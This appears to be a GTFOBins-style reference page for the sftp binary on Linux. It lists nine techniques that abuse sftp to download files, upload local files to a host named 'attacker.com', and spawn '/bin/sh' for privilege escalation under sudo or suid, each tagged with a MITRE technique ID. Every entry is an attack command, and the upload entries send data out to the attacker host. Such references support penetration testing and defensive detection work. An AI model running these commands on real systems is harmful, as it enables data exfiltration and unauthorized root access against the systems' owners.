GTFO · Tool

sftp

9 techniquesLinuxGTFOBinsGPL-3.0

download

File DownloadPrivilege EscalationLinux

sftp user@attacker.com
get /path/to/input-file /path/to/output-file

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/sftp/

File DownloadPrivilege EscalationLinux

sftp user@attacker.com
get /path/to/input-file /path/to/output-file

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/sftp/

File DownloadLinux

sftp user@attacker.com
get /path/to/input-file /path/to/output-file

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/sftp/

ExecutionPrivilege EscalationLinux

This still requires a successfull connection to the server.

sftp user@attacker.com
!/bin/sh

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/sftp/

ExecutionPrivilege EscalationLinux

This still requires a successfull connection to the server.

sftp user@attacker.com
!/bin/sh

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/sftp/

ExecutionLinux

This still requires a successfull connection to the server.

sftp user@attacker.com
!/bin/sh

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/sftp/

File UploadPrivilege EscalationLinux

sftp user@attacker.com
put /path/to/input-file /path/to/output-file

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/sftp/

File UploadPrivilege EscalationLinux

sftp user@attacker.com
put /path/to/input-file /path/to/output-file

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/sftp/

File UploadLinux

sftp user@attacker.com
put /path/to/input-file /path/to/output-file

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/sftp/